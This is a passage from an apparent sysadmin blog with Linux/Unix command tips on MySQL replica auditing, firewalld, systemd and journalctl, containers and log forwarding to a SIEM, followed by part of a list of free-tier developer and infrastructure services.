<li><a href="#freebsd-vagrant" id="markdown-toc-freebsd-vagrant">FreeBSD Vagrant</a></li>
<li><a href="#lxc-centos7-container" id="markdown-toc-lxc-centos7-container">LXC CentOS7 Container</a></li>
<li><a href="#systemd-nspawn-centos7-container" id="markdown-toc-systemd-nspawn-centos7-container">Systemd-nspawn CentOS7 Container</a></li>
<li><a href="#simple-systemd" id="markdown-toc-simple-systemd">Simple Systemd</a></li>
<li><a href="#manage-logging-in-systemd" id="markdown-toc-manage-logging-in-systemd">Manage logging in Systemd</a></li>
<li><a href="#systemd-cgroups" id="markdown-toc-systemd-cgroups">Systemd cgroups</a></li>
<li><a href="#systemd-targetsrun-levels" id="markdown-toc-systemd-targetsrun-levels">Systemd Targets/Run levels</a></li>
<li><a href="#debtree--pkg-dependency-graphs" id="markdown-toc-debtree--pkg-dependency-graphs">DebTree — pkg dependency graphs</a></li>
</ul>
</div>
</section>
<!-- /#table-of-contents -->
<h3 id="other-parts">Other Parts</h3>
<ul>
<li><a href="https://jivoi.github.io/2014/06/22/linux-unix-it-tips-and-tricks-number-1/">Part 1</a></li>
<li><a href="https://jivoi.github.io/2015/06/29/linux-unix-it-tips-and-tricks-number-2/">Part 2</a></li>
<li><a href="https://jivoi.github.io/2015/07/01/linux-unix-it-tips-and-tricks-number-3/">Part 3</a></li>
</ul>
<h3 id="who-is-writing-to-a-mysql-replica">Who is writing to a mysql replica</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># if you are using 5.6, you can do it!</span>
<span class="c"># http://dev.mysql.com/doc/en/connection-summary-tables.html</span>
mysql> desc performance_schema.events_statements_summary_by_user_by_event_name<span class="p">;</span>
mysql> <span class="k">select</span> user, event_name, count_star, sum_timer_wait, sum_rows_affected
-> from performance_schema.events_statements_summary_by_user_by_event_name
-> where sum_timer_wait > 0
-> order by user, sum_timer_wait desc<span class="p">;</span>
mysql> <span class="k">select</span> * from sys.user_summary_by_statement_type<span class="p">;</span>
mysql> slave1 <span class="o">[</span>localhost<span class="o">]</span> <span class="o">{</span>msandbox<span class="o">}</span> <span class="o">(</span>sys<span class="o">)</span> > <span class="k">select</span> * from user_summary_by_statement_type<span class="p">;</span>
mysql> slave1 <span class="o">[</span>localhost<span class="o">]</span> <span class="o">{</span>msandbox<span class="o">}</span> <span class="o">(</span>sys<span class="o">)</span> > SELECT * FROM sys.user_summary_by_statement_type WHERE user !<span class="o">=</span> <span class="s1">'background'</span> AND rows_affected > 0<span class="p">;</span>
mysql> slave1 <span class="o">[</span>localhost<span class="o">]</span> <span class="o">{</span>msandbox<span class="o">}</span> <span class="o">(</span>sys<span class="o">)</span> > SELECT * FROM performance_schema.events_statements_summary_by_user_by_event_name WHERE user IS NOT NULL AND sum_rows_affected > 0<span class="se">\G</span></code></pre></div>
<h3 id="display-mount-fs-in-nice-layout">Display Mount FS in Nice Layout</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>mount <span class="p">|</span> column -t</code></pre></div>
<h3 id="freebsd-version">FreeBSD version</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># to see the version and patch level of the installed kernel:</span>
<span class="nv">$ </span>freebsd-verion -k
<span class="c"># to see the version and patch level of the installed userland:</span>
<span class="nv">$ </span>freebsd-verion -u
<span class="c"># to find out if FreeBSD kernel is running in 32bit or 64bit mode:</span>
<span class="nv">$ </span>getconf LONG_BIT</code></pre></div>
<h3 id="linux-namespaces-implementations">Linux namespaces implementations</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># Linux namespaces implementations:</span>
- mnt: mount points and filesystems isolation
- pid: process isolation
- net: network stack isolation <span class="o">(</span>contains its own routes, network devices and iptables rules<span class="o">)</span>
- ipc: System V IPC isolation
- uts: hostname isolation
- user: user isolation by means of UIDs
<span class="c"># network namespace</span>
<span class="nv">$ </span>ip netns add ns1
<span class="nv">$ </span>ip netns
<span class="nv">$ </span>ip netns <span class="nb">exec </span>ns1 ip link</code></pre></div>
<h3 id="firewalld-in-centos7rhel">Firewalld in CentOS7\RHEL</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>systemctl status firewalld
<span class="nv">$ </span>firewall-cmd --state
<span class="nv">$ </span>firewall-cmd --get-default-zone
<span class="nv">$ </span>firewall-cmd --get-active-zones
<span class="nv">$ </span>firewall-cmd --zone<span class="o">=</span>public --list-all
<span class="nv">$ </span>firewall-cmd --reload
<span class="nv">$ </span>firewall-cmd --list-services
<span class="nv">$ </span>firewall-cmd --permanent --add-service<span class="o">=</span>ssh
<span class="nv">$ </span>firewall-cmd --zone<span class="o">=</span>public --add-port<span class="o">=</span>514/udp
<span class="nv">$ </span>firewall-cmd --zone<span class="o">=</span>public --add-forward-port<span class="o">=</span><span class="nv">port</span><span class="o">=</span>22:proto<span class="o">=</span>tcp:toport<span class="o">=</span>3753
<span class="nv">$ </span>firewall-cmd --direct --add-rule ipv4 filter INPUT <span class="m">0</span> -p tcp --dport <span class="m">9000</span> -j ACCEPT
<span class="nv">$ </span>firewall-offline-cmd --direct --add-rule ipv4 filter INPUT <span class="m">0</span> -p tcp -m state --state NEW -m tcp --dport <span class="m">22</span> -j ACCEPT
<span class="nv">$ </span>systemctl disable firewalld
<span class="nv">$ </span>systemctl stop firewalld</code></pre></div>
<h3 id="encrypt-linux-home-dir">Encrypt Linux Home Dir</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>apt-get install ecryptfs-utils
<span class="nv">$ </span>sudo ecryptfs-migrate-home -u <login>
<span class="c"># after login</span>
<span class="nv">$ </span>ecryptfs-unwrap-passphrase
<span class="nv">$ </span>ecryptfs-add-passphrase
<span class="c"># change passpharase</span>
<span class="nv">$ </span>ecryptfs-rewrap-passphrase /home/<span class="nv">$USER</span>/.ecryptfs/wrapped-passphrase</code></pre></div>
<h3 id="moreutils">Moreutils</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">chronic - runs a <span class="nb">command </span>quietly unless it fails
<span class="nv">$ </span><span class="m">0</span> <span class="m">1</span> * * * chronic backup <span class="c"># instead of backup >/dev/null 2>&1</span>
combine - combine sets of lines from two files using boolean operations
errno - look up errno names and descriptions
ifdata - get network interface info without parsing ifconfig output
ifne - Run <span class="nb">command </span><span class="k">if</span> the standard input is not empty
<span class="nv">$ </span>find . -name core <span class="p">|</span> ifne mail -s <span class="s2">"Core files found"</span> root
isutf8 - check whether files are valid UTF-8</code></pre></div>
<h3 id="send-squid-accesslog-to-siem">Send Squid access_log to SIEM</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># http://wiki.squid-cache.org/Features/LogModules</span>
<span class="c"># /etc/squid/squid.conf</span>
access_log syslog:local6.info
<span class="c"># /etc/rsyslog.conf</span>
local6.info @SIEMIP:514
<span class="nv">$ </span>systemctl restart squid.service</code></pre></div>
<h3 id="send-hp-ux-syslogd-to-siem">Send HP-UX syslogd to SIEM</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># /etc/syslog.conf</span>
*.* @<SIEM_IP>
<span class="nv">$ </span><span class="nb">kill</span> -HUP <span class="sb">`</span>cat /etc/syslog.pid<span class="sb">`</span>
or
<span class="nv">$ </span>/sbin/init.d/syslog stop
<span class="nv">$ </span>/sbin/init.d/syslog start</code></pre></div>
<h3 id="freebsd-vagrant">FreeBSD Vagrant</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># https://atlas.hashicorp.com/FreeBSD/</span>
<span class="c"># Vagrantfile</span>
Vagrant.configure<span class="o">(</span><span class="s2">"2"</span><span class="o">)</span> <span class="k">do</span> <span class="p">|</span>config<span class="p">|</span>
config.vm.synced_folder <span class="s2">"."</span>, <span class="s2">"/vagrant"</span>, id: <span class="s2">"vagrant-root"</span>, disabled: <span class="nb">true</span>
<span class="nb"> </span>config.vm.box <span class="o">=</span> <span class="s2">"freebsd/FreeBSD-11.0-CURRENT"</span>
config.ssh.shell <span class="o">=</span> <span class="s2">"sh"</span>
config.vm.base_mac <span class="o">=</span> <span class="s2">"080027D14C66"</span>
end
<span class="nv">$ </span>vagrant up
or
<span class="nv">$ </span>vagrant init freebsd/FreeBSD-10.2-RELEASE<span class="p">;</span> vagrant up --provider virtualbox</code></pre></div>
<h3 id="lxc-centos7-container">LXC CentOS7 Container</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>yum -y install libvirt virt-install
<span class="nv">$ </span>systemctl start libvirtd
<span class="nv">$ </span>yum -y --installroot<span class="o">=</span>/var/lib/libvirt/filesystems/centos7 <span class="se">\</span>
--releasever<span class="o">=</span><span class="m">7</span> install systemd passwd yum <span class="se">\</span>
centos-release vim-minimal procps-ng iproute <span class="se">\</span>
net-tools dhclient policycoreutils
<span class="nv">$ </span>chroot /var/lib/libvirt/filesystems/centos7/
<span class="nv">$ </span>passwd root
<span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"pts/0"</span> >> /var/lib/libvirt/filesystems/centos7/etc/securetty
<span class="nv">$ </span>virt-install --connect lxc:// --name centos7 --ram <span class="m">256</span> --filesystem /var/lib/libvirt/filesystems/centos7,/
Escape character is ^<span class="o">]</span>
<span class="nv">$ </span>virsh --connect lxc:// console centos7</code></pre></div>
<h3 id="systemd-nspawn-centos7-container">Systemd-nspawn CentOS7 Container</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>yum -y --installroot<span class="o">=</span>/var/lib/libvirt/filesystems/centos7 <span class="se">\</span>
--releasever<span class="o">=</span><span class="m">7</span> install systemd passwd yum <span class="se">\</span>
centos-release vim-minimal procps-ng iproute <span class="se">\</span>
net-tools dhclient policycoreutils
<span class="nv">$ </span>systemd-nspawn -D /var/lib/libvirt/filesystems/centos7 --machine centos_container -b -n
<span class="nv">$ </span>machinectl login centos_container
<span class="nv">$ </span>systemctl stop machine-centos_container.scope</code></pre></div>
<h3 id="simple-systemd">Simple Systemd</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># http://rus-linux.net/MyLDP/boot/img/systemd/systemd4_1.png</span>
<span class="c"># get service states</span>
<span class="nv">$ </span>systemctl list-unit-files -t service
<span class="nv">$ </span>systemctl list-units -t service --all
<span class="nv">$ </span>systemctl is-enabled sshd.service<span class="p">;</span> <span class="nb">echo</span> <span class="nv">$?</span>
<span class="c"># enable service</span>
systemctl <span class="nb">enable </span>[email protected]
<span class="c"># systemd analyze speed</span>
<span class="nv">$ </span>systemd-analyze blame
<span class="c"># check service depends</span>
systemctl list-dependencies firewalld.service
<span class="c"># reload all daemons</span>
systemctl daemon-reload</code></pre></div>
<h3 id="manage-logging-in-systemd">Manage logging in Systemd</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># set timedate</span>
<span class="nv">$ </span>timedatectl list-timezones
<span class="nv">$ </span>timedatectl <span class="nb">set</span>-timezone Europe/Moscow
<span class="nv">$ </span>timedatectl status
<span class="c"># to watch all logs</span>
<span class="nv">$ </span>journalctl
<span class="c"># logs from last boot</span>
<span class="nv">$ </span>journalctl -b
<span class="c"># filter logs with datetime</span>
<span class="nv">$ </span>journalctl --since <span class="s2">"2015-07-20 17:15:00"</span>
<span class="nv">$ </span>journalctl --since yesterday
<span class="nv">$ </span>journalctl --since 09:00 --until now
<span class="nv">$ </span>journalctl --since 10:00 --until <span class="s2">"1 hour ago"</span>
<span class="c"># filter logs with service name</span>
<span class="nv">$ </span>journalctl -u sshd.service
<span class="nv">$ </span>journalctl -u nginx.service --since yesterday
<span class="nv">$ </span>journalctl -u nginx.service -u php-fpm.service —since today
<span class="c"># filter logs with proccess, users or groups name</span>
<span class="nv">$ </span>journalctl <span class="nv">_PID</span><span class="o">=</span><span class="m">1229</span> <span class="o">(</span>sshd<span class="o">)</span>
<span class="nv">$ </span>journalctl <span class="nv">_UID</span><span class="o">=</span><span class="m">99</span> <span class="o">(</span><span class="nv">uid</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>99<span class="o">(</span>nobody<span class="o">))</span>
<span class="nv">$ </span>journalctl -F _UID
<span class="nv">$ </span>journalctl -F _GUID
<span class="nv">$ </span>man systemd.journal-fields
<span class="c"># filter logs with path</span>
<span class="nv">$ </span>journalctl /usr/sbin/sshd
<span class="c"># see kernel logs</span>
<span class="nv">$ </span>journalctl -k
<span class="c"># filter logs with error level</span>
<span class="nv">$ </span>journalctl -p <span class="m">3</span> -b
<span class="m">0</span> — EMERG
<span class="m">1</span> — ALERT
<span class="m">2</span> — CRIT
<span class="m">3</span> — ERR
<span class="m">4</span> — WARNING
<span class="m">5</span> — NOTICE
<span class="m">6</span> — INFO
<span class="m">7</span> —DEBUG
<span class="c"># write logs to stdout (default use less)</span>
<span class="nv">$ </span>journalctl --no-pager
<span class="c"># write logs with formating</span>
<span class="nv">$ </span>journalctl -u sshd.service -o json
<span class="nv">$ </span>journalctl -u sshd.service -o json-pretty
<span class="c"># formats:</span>
cat
<span class="nb">export</span>
short
short-iso
short-monotonic
short-precise
verbose
<span class="c"># see new logs</span>
<span class="nv">$ </span>journalctl -n
<span class="nv">$ </span>journalctl -n 20
<span class="c"># see logs in tail mode</span>
<span class="nv">$ </span>journalctl -f
<span class="c"># count logs space usage</span>
<span class="nv">$ </span>journalctl --disk-usage
<span class="c"># rotate logs</span>
<span class="nv">$ </span>journalctl --vacuum-size<span class="o">=</span>1G
<span class="nv">$ </span>journalctl --vacuum-time<span class="o">=</span>1years
<span class="c"># write logs to syslog</span>
<span class="c"># /etc/systemd/journald.conf</span>
<span class="nv">ForwardToSyslog</span><span class="o">=</span>yes</code></pre></div>
<h3 id="systemd-cgroups">Systemd cgroups</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># To get the full hierarchy of control groups, type:</span>
<span class="nv">$ </span>systemd-cgls
<span class="c"># To get the list of control group ordered by CPU, memory and disk I/O load, type:</span>
<span class="nv">$ </span>systemd-cgtop
<span class="c"># To put resource limits on a service (here 500 CPUShares), type:</span>
<span class="nv">$ </span>systemctl <span class="nb">set</span>-property httpd.service <span class="nv">CPUShares</span><span class="o">=</span>500
<span class="nv">$ </span>systemctl show -p CPUShares httpd.service
<span class="nv">$ </span>systemctl show httpd.service <span class="p">|</span> grep CPUShares
<span class="c"># cgroup slices</span>
systemctl status user-<span class="k">${</span><span class="nv">UID</span><span class="k">}</span>.slice
<span class="c"># For example, if we want to limit cpu.shares of all processes of user with UID 1000:</span>
<span class="nv">$ </span>systemctl <span class="nb">set</span>-property user-1000.slice <span class="nv">CPUShares</span><span class="o">=</span>100
<span class="nv">$ </span>systemctl daemon-reload</code></pre></div>
<h3 id="systemd-targetsrun-levels">Systemd Targets/Run levels</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># To get the current default run level, type:</span>
<span class="nv">$ </span>systemctl get-default
<span class="c"># To move to maintenance mode, type:</span>
<span class="nv">$ </span>systemctl rescue
<span class="c"># To set the default run level to non-graphical mode, type:</span>
<span class="nv">$ </span>systemctl <span class="nb">set</span>-default multi-user.target
<span class="c"># To set the default run level to graphical mode, type:</span>
<span class="nv">$ </span>systemctl <span class="nb">set</span>-default graphical.target
<span class="c"># To stop, reboot a server, suspend it or put it into hibernation, type:</span>
<span class="nv">$ </span>systemctl poweroff
<span class="nv">$ </span>systemctl reboot
<span class="nv">$ </span>systemctl <span class="nb">suspend</span>
<span class="nv">$ </span>systemctl hibernate</code></pre></div>
<h3 id="debtree--pkg-dependency-graphs">DebTree — pkg dependency graphs</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>apt-get install debtree
<span class="nv">$ </span>debtree nginx
<span class="c"># Generate the dependency graph</span>
<span class="nv">$ </span>debtree dpkg >dpkg.dot
<span class="c"># generate an SVG image from the `.dot'</span>
<span class="nv">$ </span>dot -Tsvg -o dpkg.svg dpkg.dot
<span class="c"># Generate graph for package dpkg as PNG image</span>
<span class="nv">$ </span>debtree dpkg <span class="p">|</span> dot -Tpng >dpkg.png</code></pre></div>
<p><a href="https://jivoi.github.io/2015/08/17/linux-unix-it-tips-and-tricks-number-4/">Linux-Unix-IT Tips and Tricks #4</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on August 17, 2015.</p>https://jivoi.github.io/2015/08/14/free-aas-resources-list2015-08-14 14:06:18 +0300T00:00:00-00:002015-08-14T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>The list of software (SaaS, PaaS, IaaS, etc.) and other offerings which have a free service or tier.
The scope of this list is limited to things infrastructure developers - System Administrator, DevOps Practitioners, etc.</p>
<section id="table-of-contents" class="toc">
<header>
<h3>Contents</h3>
</header>
<div id="drawer">
<ul id="markdown-toc">
<li><a href="#source-code-repos" id="markdown-toc-source-code-repos">Source Code Repos</a></li>
<li><a href="#tools-for-teams--collaboration" id="markdown-toc-tools-for-teams--collaboration">Tools for teams & Collaboration</a></li>
<li><a href="#code-quality" id="markdown-toc-code-quality">Code Quality</a></li>
<li><a href="#code-search-and-browsing" id="markdown-toc-code-search-and-browsing">Code Search and Browsing</a></li>
<li><a href="#ci--cd" id="markdown-toc-ci--cd">CI / CD</a></li>
<li><a href="#security-and-pki" id="markdown-toc-security-and-pki">Security and PKI</a></li>
<li><a href="#management-systems" id="markdown-toc-management-systems">Management Systems</a></li>
<li><a href="#log-management" id="markdown-toc-log-management">Log Management</a></li>
<li><a href="#translation-management" id="markdown-toc-translation-management">Translation Management</a></li>
<li><a href="#analytics" id="markdown-toc-analytics">Analytics</a></li>
<li><a href="#monitoring" id="markdown-toc-monitoring">Monitoring</a></li>
<li><a href="#crash--exception-handling" id="markdown-toc-crash--exception-handling">Crash / Exception handling</a></li>
<li><a href="#search" id="markdown-toc-search">Search</a></li>
<li><a href="#email" id="markdown-toc-email">Email</a></li>
<li><a href="#cdn-and-protection" id="markdown-toc-cdn-and-protection">CDN and Protection</a></li>
<li><a href="#paas" id="markdown-toc-paas">PaaS</a></li>
<li><a href="#baas" id="markdown-toc-baas">BaaS</a></li>
<li><a href="#web-hosting" id="markdown-toc-web-hosting">Web Hosting</a></li>
<li><a href="#iaas" id="markdown-toc-iaas">IaaS</a></li>
<li><a href="#dbaas" id="markdown-toc-dbaas">DBaaS</a></li>
<li><a href="#stun-webrtc-web-socket-servers-and-other-routers" id="markdown-toc-stun-webrtc-web-socket-servers-and-other-routers">STUN, WebRTC, Web Socket Servers and other Routers</a></li>
<li><a href="#issue-tracking--project-management" id="markdown-toc-issue-tracking--project-management">Issue tracking / Project management</a></li>
<li><a href="#storage-and-media-processing" id="markdown-toc-storage-and-media-processing">Storage and Media Processing</a></li>
<li><a href="#data-visualization-on-maps" id="markdown-toc-data-visualization-on-maps">Data Visualization on Maps</a></li>
<li><a href="#package-build-systems" id="markdown-toc-package-build-systems">Package Build Systems</a></li>
<li><a href="#ide-and-code-editing" id="markdown-toc-ide-and-code-editing">IDE and Code Editing</a></li>
<li><a href="#analytics-events-andstatistics" id="markdown-toc-analytics-events-andstatistics">Analytics, Events andStatistics</a></li>
<li><a href="#international-mobile-number-verification-api-and-sdk" id="markdown-toc-international-mobile-number-verification-api-and-sdk">International Mobile number verification API and SDK</a></li>
<li><a href="#payment--billing-integration" id="markdown-toc-payment--billing-integration">Payment / Billing Integration</a></li>
<li><a href="#other-packs" id="markdown-toc-other-packs">Other Packs</a></li>
<li><a href="#docker-related" id="markdown-toc-docker-related">Docker Related</a> <ul>
<li><a href="#alternate-container-hosting" id="markdown-toc-alternate-container-hosting">Alternate container hosting</a></li>
</ul>
</li>
<li><a href="#vagrant-related" id="markdown-toc-vagrant-related">Vagrant Related</a> <ul>
<li><a href="#vagrant-box-indexes" id="markdown-toc-vagrant-box-indexes">Vagrant box indexes</a></li>
</ul>
</li>
<li><a href="#data-mining" id="markdown-toc-data-mining">Data mining</a></li>
</ul>
</div>
</section>
<!-- /#table-of-contents -->
<h3 id="source-code-repos">Source Code Repos</h3>
<ul>
<li><a href="https://bitbucket.org/">https://bitbucket.org/</a> - Unlimited public and private git repos for small teams</li>
<li><a href="http://chiselapp.com/">http://chiselapp.com/</a> - Unlimited public and private Fossil repositories</li>
<li><a href="https://github.com">https://github.com</a> - Free for an unlimited number of public repositories</li>
<li><a href="https://about.gitlab.com/">https://about.gitlab.com/</a> - Unlimited public and private git repos with unlimited collaborators</li>
<li><a href="https://hub.jazz.net/">https://hub.jazz.net/</a> - Unlimited public repos, private repos free for up to 3 accounts.</li>
<li><a href="https://visualstudio.com">https://visualstudio.com</a> - Free unlimited private repos (Git and TFS) for up to 5 users per team</li>
<li><a href="https://assembla.com">https://assembla.com</a> - Free repo hosting in a free plan.</li>
</ul>
<h3 id="tools-for-teams--collaboration">Tools for teams & Collaboration</h3>
<ul>
<li><a href="http://appear.in/">http://appear.in/</a> - One click video conversations, for free</li>
<li><a href="http://www.hall.com/">http://www.hall.com/</a> - Free for unlimited users with some feature limitations</li>
<li><a href="https://www.flowdock.com/">https://www.flowdock.com/</a> - Chat and inbox, free for teams of 5 or less</li>
<li><a href="https://slack.com">https://slack.com</a> - Free for unlimited users with some feature limitations</li>
<li><a href="https://hipchat.com">https://hipchat.com</a> - Free for unlimited users with some feature limitations</li>
<li><a href="https://gitter.im">https://gitter.im</a> - “Chat, for GitHub”. Unlimited public & private rooms, free for teams of up to 25</li>
<li><a href="http://www.google.com/hangouts/">http://www.google.com/hangouts/</a> - One place for all your Conversations, for free (Need Google Account)</li>
<li><a href="https://kato.im">https://kato.im</a> - Team Chat & Collaboration, free for unlimited users with some feature limitations</li>
<li><a href="http://seafile.com/">http://seafile.com/</a> - Private or cloud storage, file sharing, sync, discussions. Private version is full. Cloud version has just 1 GB.</li>
<li><a href="https://sameroom.io">https://sameroom.io</a> - Free for unlimited users with some feature limitations</li>
<li><a href="https://yammer.com/">https://yammer.com/</a> - Private social network standalone or for MS Office 365. Free, just a bit less admin tools and users management features.</li>
<li><a href="https://www.blockspring.com/">https://www.blockspring.com/</a> - Share scripts with anyone on your team: cross language and with spreadsheet users. Free for 5 million runs a month.</li>
<li><a href="https://helpmonks.com/">https://helpmonks.com/</a> - Shared inbox for teams - Free for open source projects and non-profit organizations.</li>
<li><a href="http://typetalk.in/">http://typetalk.in/</a> - Share and discuss ideas with your team through instant messaging on the web or on your mobile.</li>
</ul>
<h3 id="code-quality">Code Quality</h3>
<ul>
<li><a href="http://tachikoma.io">http://tachikoma.io</a> - Dependency Update for Ruby, Node.js, Perl projects - free for Open Source</li>
<li><a href="https://landscape.io/">https://landscape.io/</a> - Code Quality for Python projects, free for Open Source</li>
<li><a href="https://codeclimate.com/">https://codeclimate.com/</a> - Automated code review, free for Open Source</li>
<li><a href="https://houndci.com/">https://houndci.com/</a> - Comments on github commits about code quality - free for Open Source</li>
<li><a href="https://coveralls.io/">https://coveralls.io/</a> - Display test coverage reports - free for open source</li>
<li><a href="https://scrutinizer-ci.com/">https://scrutinizer-ci.com/</a> - Continuous inspection platform - free for Open Source</li>
<li><a href="https://codecov.io/">https://codecov.io/</a> - Code coverage tool (SaaS), free for 1 private project and no restrictions for publics repos</li>
<li><a href="https://insight.sensiolabs.com/">https://insight.sensiolabs.com/</a> - Code Quality for PHP/Symfony projects, free for Open Source</li>
<li><a href="https://www.codacy.com/">https://www.codacy.com/</a> - Automated code reviews for PHP, Python, Javascript, Scala and CSS - free for open source</li>
<li><a href="https://www.pullreview.com">https://www.pullreview.com</a> - Automated Code Review for Ruby in GitHub, Bitbucket and Gitlab - free for Open Source</li>
</ul>
<h3 id="code-search-and-browsing">Code Search and Browsing</h3>
<ul>
<li><a href="https://sourcegraph.com/">https://sourcegraph.com/</a> - Java, Go, Python, Node.js, etc., code search/cross-references - free for open source</li>
<li><a href="https://searchcode.com/">https://searchcode.com/</a> - comprehensive text-based code search - free for open source</li>
</ul>
<h3 id="ci--cd">CI / CD</h3>
<ul>
<li><a href="https://codeship.com/">https://codeship.com/</a> - 100 private builds / month, 5 private projects.Unlimited for Open Source</li>
<li><a href="https://circleci.com">https://circleci.com</a> - Free for one concurrent build</li>
<li><a href="https://travis-ci.org">https://travis-ci.org</a> - Free for public Github repositories.</li>
<li><a href="http://wercker.com/">http://wercker.com/</a> - Free for public and private repositories</li>
<li><a href="https://drone.io/">https://drone.io/</a> - CI platform that includes browser testing, free for Open Source</li>
<li><a href="https://semaphoreci.com/">https://semaphoreci.com/</a> - 100 private builds / month. Unlimited for Open Source.</li>
<li><a href="http://www.shippable.com/">http://www.shippable.com/</a> - Free for 1 build container, private and public repos, unlimited builds.</li>
<li><a href="https://snap-ci.com">https://snap-ci.com</a> - Free for public repositories, 1 build at the time</li>
<li><a href="http://www.appveyor.com/">http://www.appveyor.com/</a> - CD service for Windows. Free for open-source projects.</li>
<li>[<a href="https://github.com/ligurio/Continuous-Integration-services">https://github.com/ligurio/Continuous-Integration-services</a> - Comparison of Continuous Integration services</li>
<li><a href="https://saucelabs.com/">https://saucelabs.com/</a> - CI with scalable testing for mobile and web apps, free for Open Source</li>
<li><a href="http://ftploy.com/">http://ftploy.com/</a> - 1 project w/unlimited deployments</li>
<li><a href="https://deployhq.com/">https://deployhq.com/</a> - 1 project w/10 daily deployments</li>
<li><a href="https://hub.jazz.net/">https://hub.jazz.net/</a> - 60 minutes of free build time / month.</li>
<li><a href="https://styleci.io/">https://styleci.io/</a> - Public GitHub repositories only.</li>
</ul>
<h3 id="security-and-pki">Security and PKI</h3>
<ul>
<li><a href="http://vaddy.net">http://vaddy.net</a> - Continuous web security testing with continuous integration (CI) tools. 3 domains, 10 scan history for free</li>
<li><a href="https://www.globalsign.com/en/ssl/ssl-open-source/">https://www.globalsign.com/en/ssl/ssl-open-source/</a> - Free SSL certs for Open Source projects</li>
<li><a href="https://www.startssl.com/">https://www.startssl.com/</a> - Free SSL certs</li>
<li><a href="https://stormpath.com/">https://stormpath.com/</a> - Free user management, authentication, social login, and SSO.</li>
<li><a href="https://auth0.com/">https://auth0.com/</a> - Hosted free for development SSO</li>
<li><a href="https://getclef.com/">https://getclef.com/</a> - New take on auth unlimited free tier for anyone not using premium features</li>
<li><a href="https://ringcaptcha.com/">https://ringcaptcha.com/</a> - Tools to use phone number as id, available for free</li>
<li><a href="https://www.ssllabs.com/ssltest/">https://www.ssllabs.com/ssltest/</a> - Very deep analysis of the configuration of any SSL web server</li>
<li><a href="https://qualys.com/forms/freescan/owasp/">https://qualys.com/forms/freescan/owasp/</a> - Find web app vulnerabilities, audit for OWASP Risks</li>
<li><a href="https://www.alienvault.com/open-threat-exchange/threatfinder">https://www.alienvault.com/open-threat-exchange/threatfinder</a> - Uncovers compromised systems in your network</li>
<li><a href="https://duosecurity.com">https://duosecurity.com</a> - Two-factor authentication (2FA) for website or app. Free 10 users, all authentication methods, unlimited, integrations, hardware tokens.</li>
</ul>
<h3 id="management-systems">Management Systems</h3>
<ul>
<li><a href="https://opbeat.com/">https://opbeat.com/</a> - Release, deploy, monitor. Free for 3 users</li>
<li><a href="https://bitnami.com/">https://bitnami.com/</a> - Deploy prepared apps on IaaS. Management of 1 AWS micro instance free</li>
</ul>
<h3 id="log-management">Log Management</h3>
<ul>
<li><a href="https://papertrailapp.com/">https://papertrailapp.com/</a> - 48 hours search, 7 day archive, 100MB/month</li>
<li><a href="https://logentries.com/">https://logentries.com/</a> - Free up to 5GB/month with 7 day retention</li>
<li><a href="https://www.loggly.com/">https://www.loggly.com/</a> - Free for a single user, see the lite option</li>
<li><a href="http://sematext.com/logsene">http://sematext.com/logsene</a> - Free for 1M logs, unlimited retention</li>
<li><a href="https://www.sumologic.com">https://www.sumologic.com</a> - Free up to 500MB/day, 7 day retention</li>
</ul>
<h3 id="translation-management">Translation Management</h3>
<ul>
<li><a href="https://lingohub.com">https://lingohub.com</a> - free up to 3 users, Open Source projects are always free</li>
<li><a href="https://www.getlocalization.com/">https://www.getlocalization.com/</a> - free for public projects</li>
<li><a href="http://webtranslateit.com">http://webtranslateit.com</a> - free up to 500 strings</li>
<li><a href="http://transifex.com">http://transifex.com</a> - free for Open Source projects</li>
<li><a href="http://www.oneskyapp.com/">http://www.oneskyapp.com/</a> - limited free edition for up to 5 users, free for Open Source projects</li>
<li><a href="https://crowdin.com">https://crowdin.com</a> - Unlimited projects, unlimited strings and collaborators for Open Source projects</li>
</ul>
<h3 id="analytics">Analytics</h3>
<ul>
<li><a href="http://www.splunk.com/en_us/products/splunk-cloud.html">http://www.splunk.com/en</a> - Upload 5GB of data per day up to 28GB of total data stored</li>
<li><a href="https://parse.com">https://parse.com</a> - Unlimited free analytics</li>
<li><a href="https://keen.io">https://keen.io</a> - Up to 50,000 events/month free</li>
</ul>
<h3 id="monitoring">Monitoring</h3>
<ul>
<li><a href="http://www.appneta.com">http://www.appneta.com</a> - Free with 1 hour data retention</li>
<li><a href="https://www.thousandeyes.com">https://www.thousandeyes.com-</a> - Network & user experience monitoring. 3 locations, plus 20 data feeds of major web services free.</li>
<li><a href="https://www.datadoghq.com/">https://www.datadoghq.com/</a> - Free for up to 5 nodes</li>
<li><a href="http://www.stackdriver.com/">http://www.stackdriver.com/</a> - Free for up to 10 nodes/services</li>
<li><a href="https://keymetrics.io/">https://keymetrics.io/</a> - Free for 2 servers with 7 days data retention</li>
<li><a href="http://newrelic.com/">http://newrelic.com/</a> - Free with 24 hour data retention</li>
<li><a href="https://nodequery.com/">https://nodequery.com/</a> - Free basic server monitor up to 10 servers</li>
